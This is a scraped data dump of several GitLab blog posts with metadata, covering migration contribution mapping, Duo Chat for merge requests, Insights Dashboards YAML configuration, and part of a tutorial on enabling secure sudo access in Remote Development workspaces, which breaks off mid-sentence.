GitLab](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/)",[1899,479,754,695],{"slug":3702,"featured":92,"template":678},"introducing-gitlabs-new-planner-role-for-agile-planning-teams","content:en-us:blog:introducing-gitlabs-new-planner-role-for-agile-planning-teams.yml","Introducing Gitlabs New Planner Role For Agile Planning Teams","en-us/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams.yml","en-us/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams",{"_path":3708,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3709,"content":3715,"config":3720,"_id":3722,"_type":16,"title":3723,"_source":17,"_file":3724,"_stem":3725,"_extension":20},"/en-us/blog/streamline-migrations-with-user-contribution-and-membership-mapping",{"title":3710,"description":3711,"ogTitle":3710,"ogDescription":3711,"noIndex":6,"ogImage":3712,"ogUrl":3713,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3713,"schema":3714},"Streamline migrations with user contribution and membership mapping","New GitLab feature enhances project imports, allowing post-import user contribution mapping and greater flexibility and control.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663670/Blog/Hero%20Images/blog-image-template-1800x945__13_.png","https://about.gitlab.com/blog/streamline-migrations-with-user-contribution-and-membership-mapping","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Streamline migrations with user contribution and membership mapping\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Magdalena Frankiewicz\"}],\n        \"datePublished\": \"2024-11-25\",\n      }",{"title":3710,"description":3711,"authors":3716,"heroImage":3712,"date":3698,"body":3718,"category":695,"tags":3719},[3717],"Magdalena Frankiewicz","We are excited to announce a new feature that enhances the group and project import process: improved [user contribution and membership mapping](https://docs.gitlab.com/ee/user/project/import/#user-contribution-and-membership-mapping). This feature represents a significant improvement in the project import process, offering greater flexibility and control for both users managing the import process and users receiving contribution reassignments. The feature is available in [GitLab migration by direct transfer](https://docs.gitlab.com/ee/user/group/import/), [GitHub importer](https://docs.gitlab.com/ee/user/project/import/github.html), [Bitbucket Server importer](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html), and [Gitea importer](https://docs.gitlab.com/ee/user/project/import/gitea.html).\n\n## What's changing?\n\n1. Post-import mapping: Previously unavailable, this feature allows you to assign imported contributions and memberships to users on the destination instance after the import has been completed. Imported memberships and contributions are first mapped to placeholder users. Until they are reassigned, contributions display as associated with placeholders.  \n2. Email-independent mapping: The new process doesn't rely on email addresses, allowing you to map contributions for users who may have different email addresses on source and destination instances.  \n3. User control: Each user on the destination instance who is assigned a contribution mapping has to [accept the assignment](https://docs.gitlab.com/ee/user/project/import/#accept-contribution-reassignment) before any imported contributions are attributed to them. They can also [reject the assignment](https://docs.gitlab.com/ee/user/project/import/#reject-contribution-reassignment).\n\n## Key points for your migration\n\nAs you prepare to migrate your resources, here are some important aspects to familiarize yourself with:\n\n1. Placeholder users: Take some time to understand the concept of [placeholder users](https://docs.gitlab.com/ee/user/project/import/#placeholder-users) in GitLab. Consider how the [placeholder limits](https://docs.gitlab.com/ee/user/project/import/#placeholder-user-limits) apply to your specific use case.\n2. [Reassignment process](https://docs.gitlab.com/ee/user/project/import/#reassign-contributions-and-memberships): Explore the reassignment interface in the UI. It's designed with security in mind, so be sure to [review these security considerations](https://docs.gitlab.com/ee/user/project/import/#security-considerations).  \n3. User involvement: Inform your team about the migration process, particularly how they can [accept contribution reassignment](https://docs.gitlab.com/ee/user/project/import/#accept-contribution-reassignment). This helps provide for a smooth transition for everyone involved.\n\nBy understanding these aspects, you'll be well prepared for a successful migration.\n\n## What’s next\n\nWe are committed to enhancing this feature further. Key upcoming currently planned improvements include:\n\n1. CSV-based contribution reassignment:  \n   * Enable group owners to [reassign contributions via CSV file upload](https://gitlab.com/gitlab-org/gitlab/-/issues/455901)  \n   * Particularly beneficial for large-scale customers managing numerous users  \n2. Enhanced UI [visibility of the placeholder limits and counts](https://gitlab.com/gitlab-org/gitlab/-/issues/486691)\n\nFor a full list of further anticipated improvements, see the [User Contribution Mapping epic](https://gitlab.com/groups/gitlab-org/-/epics/14774).\n\n## Availability\n\n* This feature is available by default for direct transfer migrations on GitLab.com, GitLab Self-managed, and GitLab Dedicated instances from GitLab Version 17.7.\n* This feature is available by default in GitHub, Bitbucket Server, and Gitea importers on GitLab.com from GitLab 17.7 and on GitLab Self-Managed and GitLab Dedicated instances from GitLab Version 17.8.\n\n## Feedback and support\n\nWe value your feedback! If you encounter any issues or have suggestions regarding this change, please add a comment in the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/502565).",[479,754,695],{"slug":3721,"featured":6,"template":678},"streamline-migrations-with-user-contribution-and-membership-mapping","content:en-us:blog:streamline-migrations-with-user-contribution-and-membership-mapping.yml","Streamline Migrations With User Contribution And Membership Mapping","en-us/blog/streamline-migrations-with-user-contribution-and-membership-mapping.yml","en-us/blog/streamline-migrations-with-user-contribution-and-membership-mapping",{"_path":3727,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3728,"content":3734,"config":3739,"_id":3741,"_type":16,"title":3742,"_source":17,"_file":3743,"_stem":3744,"_extension":20},"/en-us/blog/chat-about-your-merge-request-with-gitlab-duo",{"title":3729,"description":3730,"ogTitle":3729,"ogDescription":3730,"noIndex":6,"ogImage":3731,"ogUrl":3732,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3732,"schema":3733},"Chat about your merge request with GitLab Duo","Learn how to use AI-powered Chat to quickly understand complex merge requests by asking about implementation choices, potential risks, and architectural decisions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675536/Blog/Hero%20Images/blog-image-template-1800x945__2_.png","https://about.gitlab.com/blog/chat-about-your-merge-request-with-gitlab-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Chat about your merge request with GitLab Duo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Torsten Linz\"}],\n        \"datePublished\": \"2024-11-22\",\n      }",{"title":3729,"description":3730,"authors":3735,"heroImage":3731,"date":3736,"body":3737,"category":791,"tags":3738},[1342],"2024-11-22","Managing a merge request (MR) is an integral part of collaborative development, involving navigating through code changes, discussions, and dependencies to ensure high-quality outcomes. Whether you’re reviewing someone else’s code or trying to make your own changes clearer, the new [GitLab Duo Chat](https://about.gitlab.com/gitlab-duo/) capability, available in GitLab Duo Enterprise, can help simplify your workflow. Now, you can have a conversation with GitLab Duo Chat about an MR, directly inside GitLab.\n\n## What GitLab Duo Chat brings to an MR workflow\n\nImagine jumping into a merge request titled \"Add logging to order processing.\" Your goal is to onboard yourself to the MR as quickly as possible and to review it. You can use GitLab Duo Chat to onboard yourself faster and understand critical questions to accelerate your review:\n\n* \"Do the logs cover all failure scenarios, or are there any gaps where an issue might not be traceable?\"  \n* “Are there any potential privacy concerns with the logged data?\"  \n* \"Why was logging added at these specific points in the order processing workflow, and how does it help with debugging or monitoring?\"\n\n![MR context example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675670/Blog/Content%20Images/MR_Context_example.png)\n\nThese are the kinds of questions that GitLab Duo Chat is ready to answer – questions that let you quickly understand the intentions behind the changes and uncover any potential risks before diving into the details. Instead of spending a lot of time trying to follow code paths or waiting on the author to reply to your questions, you can start getting answers right away, saving valuable time.\n\n## In-depth conversations about MRs\n\nThe magic of this new chat capability isn’t just in summarizing code – it’s in its ability to support in-depth conversations about the MR at hand. Let's assume the logging MR also includes notifications and refactoring. You can ask specific, insightful questions, such as:\n\n* “What are the potential network failure points introduced by refactoring the payment service into a microservice?”  \n* \"Were there any trade-offs made in terms of consistency or accuracy for better performance?\"  \n* \"How are failures in sending notifications handled? Are retries implemented?\"\n\nInstead of simply telling you what changes have been made, GitLab Duo Chat helps you understand *why* those changes were made, what risks are involved, and how to mitigate them. It lets you dig deep and explore the context behind every line of code, every architectural decision, and every change in behavior within the specific MR you are working on.\n\nAnd it doesn't end with that one answer. You can engage in a follow-up conversation to dig deeper or to explore. \n\n## An evolving conversation tool\n\nWe’re really excited about how GitLab Duo Chat is evolving to become a true conversational partner for MR authors and reviewers alike. GitLab Duo Chat is [aware of the MR description, discussions, the code diff, and metadata of a single MR](https://docs.gitlab.com/ee/user/gitlab_duo_chat/index.html#the-context-chat-is-aware-of). It’s like having an assistant who is well-versed in your MR and ready to explain any part of it – or even rewrite parts, if that’s what you need.\n\nWith GitLab Duo Chat, onboarding yourself to a complex MR or understanding a change in-depth is faster and more intuitive than ever before.\n\n## We need your feedback\n\nWe’re eager to hear how GitLab Duo Chat works for you. All feedback helps us refine this feature and make it even more useful. Please share your experiences by commenting on our [issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues/464587). Please include the questions you asked, the response you got, and whether it helped you move forward. Together, we can make GitLab Duo Chat an indispensable tool for every merge request!\n\nFor a deeper dive into how to use GitLab Duo Chat, check out our [documentation](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples#ask-about-a-specific-merge-request) or watch our introductory video below. Start your first conversation today and let us know what you think!\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/4muvSFuWWL4?si=7W4mHWw2iUOzoTUz\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->  \n\n> Sample this new capability with [a free 60-day trial of GitLab Ultimate and GitLab Duo Enterprise](https://gitlab.com/-/trials/new).\n\n## Learn more about GitLab Duo Chat\n\n- [GitLab Duo Chat: Get to know productivity-boosting AI enhancements](https://about.gitlab.com/blog/gitlab-duo-chat-get-to-know-productivity-boosting-ai-enhancements/)\n- [GitLab Duo Chat, your at-the-ready AI assistant, is now generally available](https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available/)\n- [GitLab Duo Chat 101: Get more done on GitLab with our AI assistant](https://about.gitlab.com/blog/gitlab-duo-chat-101-get-more-done-on-gitlab-with-our-ai-assistant/)",[790,479,754,696,695,1444],{"slug":3740,"featured":6,"template":678},"chat-about-your-merge-request-with-gitlab-duo","content:en-us:blog:chat-about-your-merge-request-with-gitlab-duo.yml","Chat About Your Merge Request With Gitlab Duo","en-us/blog/chat-about-your-merge-request-with-gitlab-duo.yml","en-us/blog/chat-about-your-merge-request-with-gitlab-duo",{"_path":3746,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3747,"content":3754,"config":3759,"_id":3762,"_type":16,"title":3763,"_source":17,"_file":3764,"_stem":3765,"_extension":20},"/en-us/blog/gitlab-17-6-released-with-self-hosted-duo-chat-in-beta",{"title":3748,"description":3749,"ogTitle":3748,"ogDescription":3749,"config":3750,"ogImage":3751,"ogUrl":3752,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3752,"schema":3753},"GitLab 17.6 released with self-hosted Duo Chat in beta","GitLab 17.6 released with self-hosted Duo Chat in beta, adherence checks for SAST and DAST security scanners, vulnerability report grouping, model registry and much more!",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662194/Blog/Hero%20Images/product-gl17-blog-release-cover-17-6-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-6-released-with-self-hosted-duo-chat-in-beta","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.6 released with self-hosted Duo Chat in beta\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Magdalena Frankiewicz\"}],\n        \"datePublished\": \"2024-11-21\",\n      }",{"title":3748,"description":3749,"authors":3755,"heroImage":3751,"date":3756,"body":3757,"category":695,"tags":3758},[3717],"2024-11-21","This is the [release post for GitLab 17.6](https://about.gitlab.com/releases/2024/11/21/gitlab-17-6-released/).",[695,479,774],{"slug":3760,"featured":92,"template":678,"externalUrl":3761},"gitlab-17-6-released-with-self-hosted-duo-chat-in-beta","https://about.gitlab.com/releases/2024/11/21/gitlab-17-6-released/","content:en-us:blog:gitlab-17-6-released-with-self-hosted-duo-chat-in-beta.yml","Gitlab 17 6 Released With Self Hosted Duo Chat In Beta","en-us/blog/gitlab-17-6-released-with-self-hosted-duo-chat-in-beta.yml","en-us/blog/gitlab-17-6-released-with-self-hosted-duo-chat-in-beta",{"_path":3767,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3768,"content":3774,"config":3780,"_id":3782,"_type":16,"title":3783,"_source":17,"_file":3784,"_stem":3785,"_extension":20},"/en-us/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards",{"title":3769,"description":3770,"ogTitle":3769,"ogDescription":3770,"noIndex":6,"ogImage":3771,"ogUrl":3772,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3772,"schema":3773},"Data-driven DevSecOps: Exploring GitLab Insights Dashboards","Learn how to leverage GitLab Insights Dashboards to visualize key metrics, track project progress, and boost team productivity with customizable, data-driven views.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097210/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_78Dav6FR9EGjhebHWuBVan_1750097210214.png","https://about.gitlab.com/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Data-driven DevSecOps: Exploring GitLab Insights Dashboards\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ricardo Amarilla Villalba\"}],\n        \"datePublished\": \"2024-11-20\",\n      }",{"title":3769,"description":3770,"authors":3775,"heroImage":3771,"date":3777,"body":3778,"category":695,"tags":3779},[3776],"Ricardo Amarilla Villalba","2024-11-20","Metrics and analytics play a crucial role in driving productivity, quality, and success. GitLab, as a comprehensive DevSecOps platform, offers powerful tools for tracking and visualizing these vital metrics through its Insights Dashboards. In this article, you'll learn how to use the Insights Dashboards in your environment.\n\n## Introduction to GitLab metrics and analytics \n\nGitLab provides an array of metrics and analytics tools that cover various aspects of the DevSecOps lifecycle:\n\n1. [Productivity Analytics](https://docs.gitlab.com/ee/user/analytics/productivity_analytics.html): Track team velocity, cycle time, and lead time.  \n2. [Code Review Analytics](https://docs.gitlab.com/ee/user/analytics/code_review_analytics.html): Measure code quality, test coverage, and review efficiency.  \n3. [CI/CD Analytics](https://docs.gitlab.com/ee/user/analytics/ci_cd_analytics.html): Monitor pipeline performance and deployment frequency.  \n4. [Value Stream Analytics](https://docs.gitlab.com/ee/user/group/value_stream_analytics/): Visualize the flow of work from idea to production.  \n5. [Insights](https://docs.gitlab.com/ee/user/project/insights/): Explore and visualize data about your projects and groups.\n\nThese metrics offer invaluable insights into your development process, helping teams identify bottlenecks, optimize workflows, and make data-driven decisions.\n\n## Leveraging labels for specific metrics\n\nOne of GitLab's most powerful, yet understated features, is Labels, which allows you to filter and focus on specific metrics with pinpoint accuracy. By strategically applying labels to issues, merge requests, and epics, you can create custom views that provide targeted insights into your project's performance and progress.\n\nLabels in GitLab act as versatile identifiers, allowing you to categorize and organize your work items with great flexibility. Whether you're tracking feature development, bug fixes, or team-specific tasks, labels enable you to slice and dice your project data in ways that reveal meaningful patterns and trends. This concept parallels the use of tags in cloud deployments, where resources are labeled for easier management, cost allocation, and operational insights.\n\nBy thoughtfully labeling your work items, you're essentially creating a sophisticated labeling system that can be leveraged to generate custom dashboards and reports. This approach empowers you to zoom in on the metrics that matter most to your team or stakeholders, providing a clear and focused view of your project's health and momentum.\n\n## How to configure GitLab Insights\n\nGitLab Insights allow you to explore and visualize data about your projects and groups. They provide valuable analytics on various aspects such as issues created and closed during a specified period, average time for merge requests to be merged, and triage hygiene. Insights can be configured for both projects and groups.\n\nTo configure Insights:\n\n1. For project insights:  \n   * Create a file named `.gitlab/insights.yml` in the root directory of your project.  \n2. For group insights:  \n   * Create a `.gitlab/insights.yml` file in a project that belongs to your group.  \n   * Go to your group's **Settings > General**.  \n   * Expand the **Analytics section** and find the **Insights section**.  \n   * Select the project containing the configuration file and save changes.\n\nThe `.gitlab/insights.yml` file is a YAML file where you define the structure and order of charts in a report, as well as the style of charts to be displayed. Each chart definition includes parameters such as title, description, type, and query to specify the data source and filtering conditions.\n\nTo view insights, navigate to **Analyze > Insights** in your project or group.\n\n![View default Insights Dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097217972.png)\n\n## Customize merge request insights\n\nWhile the default view provides valuable raw information, we can customize the Insights Dashboard to uncover additional layers of information, such as which team was responsible for each merge request and what type of problem each one solved.\n\n## Merge request insights for each squad and requirement type\n\nMeasuring squad productivity in GitLab can be challenging, especially when the GitLab group and subgroup structure doesn't align perfectly with your squad organization. Here's how to overcome these challenges and effectively track squad productivity:\n\n### **Setting up squad-based metrics**\n\n1. **Label creation:** Create unique scope labels for each squad (e.g., `squad::alpha`, `squad::beta`) and each requirement type (e.g., `type::bug`, `type::feature`, `type::maintenance`).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZUOzORIUJeU?si=T8eHeGizS3blYFHB\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n2. **Label application:** Consistently apply these squad labels to all issues and merge requests handled by each squad, regardless of the project or group they're in.  \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/fJ9entEBZG8?si=MlM6mKirEdkmwDDJ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Hints:**  \n   * Use GitLab API to apply labels massively to existing open, merged, and closed MRs.  \n   * Add/remove/update labels as part of your GitLab CI pipeline.  \n   * Leverage the GitLab Triage Bot to automate the labeling process.  \n\n3. Dashboard setup: Create a `.gitlab/insights.yml` file in your project repository with custom charts for team-specific and type-specific merge request insights.\n\n```\n\n## Default Merge Requests insights.yml \nmergeRequests:\n  title: Merge requests dashboard\n  charts:\n    - title: Merge requests merged per week \n      type: bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: week\n          period_limit: 12\n    - title: Merge requests merged per month\n      type: bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: month\n          period_limit: 3\n\n## Per-teams Merge Requests insights.yml\nmergeRequestsTeams:\n  title: Merge requests dashboard per teams\n  charts:\n    - title: Merge requests merged per week \n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: week\n          period_limit: 12\n          collection_labels:\n            - squad::alpha\n            - squad::beta\n    - title: Merge requests merged per month\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: month\n          period_limit: 3\n          collection_labels:\n            - squad::alpha\n            - squad::beta\n\n## Per-teams and Type Merge Requests insights.yml\nmergeRequestsTeamsAndType:\n  title: Per Teams and Type - Merge requests dashboard\n  charts:\n    - title: Merge requests merged per week - Squad Alpha\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::alpha\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: week\n          period_limit: 12\n    - title: Merge requests merged per month - Squad Alpha\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::alpha\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: month\n          period_limit: 3\n    - title: Merge requests merged per week - Squad Beta\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::beta\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: week\n          period_limit: 12\n    - title: Merge requests merged per month - Squad Beta\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::beta\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: month\n          period_limit: 3\n\n```\n\nBy implementing these customizations, you can create insightful dashboards that provide a clear view of merge request activity per team and requirement type, allowing you to visualize trends over time, compare performance between squads, and analyze the distribution of different types of work for each squad. \n\n![dashboards with view of MR activity per team and requirement type](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097217972.png)\n\n![dashboard comparing performance between squads](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097217974.png)\n\n## Get started today\n\nGitLab Insights is just the tip of the iceberg when it comes to metrics and analytics. To explore the full range of GitLab's powerful analytics features, including Value Stream Analytics, CI/CD Analytics, and Code Review metrics, check out our Value Stream Management product tour:\n\n[![Value Stream Management product tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-11-20_at_12.28.08_PM_aHR0cHM6_1750097217976.png)](https://gitlab.navattic.com/vsm)\n\n> Ready to start your own metrics journey? Sign up for a [free 60-day trial of GitLab Ultimate today](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2F) and unlock the full potential of data-driven DevSecOps.\n\n## Read more\n- [Scheduled Reports Generation tool simplifies value stream management](https://about.gitlab.com/blog/new-scheduled-reports-generation-tool-simplifies-value-stream-management/)\n- [Getting started with the new GitLab Value Streams Dashboard](https://about.gitlab.com/blog/getting-started-with-value-streams-dashboard/)\n- [AI Impact analytics dashboard measures the ROI of AI](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n",[110,479,695,754,696,2488],{"slug":3781,"featured":92,"template":678},"data-driven-devsecops-exploring-gitlab-insights-dashboards","content:en-us:blog:data-driven-devsecops-exploring-gitlab-insights-dashboards.yml","Data Driven Devsecops Exploring Gitlab Insights Dashboards","en-us/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards.yml","en-us/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards",{"_path":3787,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3788,"content":3794,"config":3799,"_id":3801,"_type":16,"title":3802,"_source":17,"_file":3803,"_stem":3804,"_extension":20},"/en-us/blog/enable-secure-sudo-access-for-gitlab-remote-development-workspaces",{"title":3789,"description":3790,"ogTitle":3789,"ogDescription":3790,"noIndex":6,"ogImage":3791,"ogUrl":3792,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3792,"schema":3793},"Enable secure sudo access for GitLab Remote Development workspaces","Learn how to allow support for sudo commands using Sysbox, Kata Containers, and user namespaces in this easy-to-follow tutorial.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675033/Blog/Hero%20Images/blog-image-template-1800x945.png","https://about.gitlab.com/blog/enable-secure-sudo-access-for-gitlab-remote-development-workspaces","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Enable secure sudo access for GitLab Remote Development workspaces\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vishal Tak\"}],\n        \"datePublished\": \"2024-11-20\",\n      }",{"title":3789,"description":3790,"authors":3795,"heroImage":3791,"date":3777,"body":3796,"category":674,"tags":3797},[2345],"A development environment often requires sudo permissions to install, configure, and use dependencies during runtime. GitLab now allows secure sudo access for [GitLab Remote Development workspaces](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/). This tutorial shows you how to enable GitLab workspace users to securely use sudo commands to perform common tasks.\n\n## The challenge\n\nFor the sake of this article, say your project is as simple as the below code.\n\n```\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc main() {\n\t// Set up JSON logger\n\tlogFile, err := os.OpenFile(\"server.log\", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer logFile.Close()\n\n\tjsonHandler := slog.NewJSONHandler(logFile, nil)\n\tlogger := slog.New(jsonHandler)\n\tslog.SetDefault(logger)\n\n\t// Define handlers\n\thttp.HandleFunc(\"/path1\", handleRequest)\n\thttp.HandleFunc(\"/path2\", handleRequest)\n\n\t// Start server\n\tslog.Info(\"Starting server on :3000\")\n\terr = http.ListenAndServe(\":3000\", nil)\n\tif err != nil {\n\t\tslog.Error(\"Server failed to start\", \"error\", err)\n\t}\n}\n\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\n\tdata := make(map[string]interface{})\n\tfor k, v := range r.Header {\n\t\tdata[k] = v\n\t}\n\n\tdata[\"method\"] = r.Method\n\tdata[\"url\"] = r.URL.String()\n\tdata[\"remote_addr\"] = r.RemoteAddr\n\n\tresponse, err := json.MarshalIndent(data, \"\", \"  \")\n\tif err != nil {\n\t\tslog.Error(\"Failed to marshal metadata\", \"error\", err)\n\t\thttp.Error(w, \"Internal Server Error\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Log the metadata\n\tslog.Info(\"Request received\",\n\t\t\"path\", r.URL.Path,\n\t\t\"response\", string(response),\n\t)\n\n\t// Write response\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Write(response)\n}\n```\n\nThis code starts an HTTP server on port 3000, exposes two paths: `path1` and `path2`. Each HTTP request received is logged to a file `server.log`.\n\nLet's run this code with `go run main.go` and generate some requests.\n\n```\ni=1\nwhile [ \"$i\" -le 100 ]; do\n  echo \"Iteration $i\"\n\n  if [ $((random_number % 2)) -eq 0 ]; then\n    curl \"localhost:3000/path1\"\n  else\n    curl \"localhost:3000/path2\"\n  fi\n\n  i=$((i + 1))\ndone\n```\n\nAs you work on this application, you realize the need to analyze the logs to debug an issue. You look at the log file and it is long to parse with a simple glance. You remember there is a handy tool, [jq](https://jqlang.github.io/jq/), which parses JSON data. But your workspace does not have it installed.\n\nYou want to install `jq` through the package manager for this workspace only.\n\n```\nsudo apt update\nsudo apt install jq\n```\n\nThe output is:\n\n```\nsudo: The \"no new privileges\" flag is set, which prevents sudo from running as root.\nsudo: If sudo is running in a container, you may need to adjust the container configuration to disable the flag.\n```\n\nThis happens because GitLab workspaces explicitly disallows `sudo` access to prevent privilege escalation on the Kubernetes host.\n\nNow, there is a more secure way to run `sudo` commands in a workspace.\n\n## How sudo access works\n\nThat is exactly what we have [unlocked](https://docs.gitlab.com/ee/user/workspace/configuration.html#configure-sudo-access-for-a-workspace) in the 17.4 release of GitLab.\n\nYou can configure secure sudo access for workspaces using any of the following options:\n\n- Sysbox  \n- Kata Containers  \n- User namespaces\n\nWe will set up three GitLab agents for workspaces to demonstrate each option.\n\n### Sysbox\n\n[Sysbox](https://github.com/nestybox/sysbox) is a container runtime that improves container isolation and enables containers to run the same workloads as virtual machines.\n\nTo configure sudo access for a workspace with Sysbox:\n\n1. In the Kubernetes cluster, [install Sysbox](https://github.com/nestybox/sysbox#installation).\n2. In the GitLab agent for workspaces, set the following config:\n\n```\nremote_development:\n  enabled: true\n  dns_zone: \"sysbox-update.me.com\"\n  default_runtime_class: \"sysbox-runc\"\n  allow_privilege_escalation: true\n  annotations:\n    \"io.kubernetes.cri-o.userns-mode\": \"auto:size=65536\"\n```\n\n3. Add other settings in the agent config as per your requirements. [GitLab agent for workspaces settings](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#workspace-settings) for more information about individual settings.  \n4. Allow the agent to be used for workspaces in a group. See the [documentation](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#allow-a-cluster-agent-for-workspaces-in-a-group) for more information.  \n5. Update GitLab Workspaces Proxy to serve traffic for the domain used in the above agent configuration. See [Tutorial: Set up the GitLab workspaces proxy](https://docs.gitlab.com/ee/user/workspace/set_up_workspaces_proxy.html) for more information.\n\n### Kata Containers\n\n[Kata Containers](https://github.com/kata-containers/kata-containers) is a standard implementation of lightweight virtual machines that perform like containers but provide the workload isolation and security of virtual machines.\n\nTo configure sudo access for a workspace with Kata Containers:\n\n1. In the Kubernetes cluster, [install Kata Containers](https://github.com/kata-containers/kata-containers/tree/main/docs/install).  \n2. In the GitLab agent for workspaces, set the following config:\n\n```\nremote_development:\n  enabled: true\n  dns_zone: \"kata-update.me.com\"\n  default_runtime_class: \"kata-qemu\"\n  allow_privilege_escalation: true\n```\n\n3. Add other settings in the agent config as per your requirements. [GitLab agent for workspaces settings](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#workspace-settings) for more information about individual settings.  \n4. Allow the agent to be used for workspaces in a group. See the [documentation](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#allow-a-cluster-agent-for-workspaces-in-a-group) for more information.  \n5. Update GitLab Workspaces Proxy to serve traffic for the domain used in the above agent configuration. See [Tutorial: Set up the GitLab workspaces proxy](https://docs.gitlab.com/ee/user/workspace/set_up_workspaces_proxy.html) for more information.\n\n### User namespaces\n\n[User namespaces](https://kubernetes.io/docs/concepts/workloads/pods/user-namespaces/) isolate the user running inside the container from the user on the host.\n\nTo configure sudo access for a workspace with user namespaces:\n\n1. In the Kubernetes cluster, [configure user namespaces](https://kubernetes.io/blog/userns-beta/).  \n2. In the GitLab agent for workspaces, set the following config:\n\n```\nremote_development:\n  enabled: true\n  dns_zone: \"userns-update.me.com\"\n  use_kubernetes_user_namespaces: true\n  allow_privilege_escalation: true\n```\n\n3. Add other settings in the agent config as per your requirements. [GitLab agent for workspaces 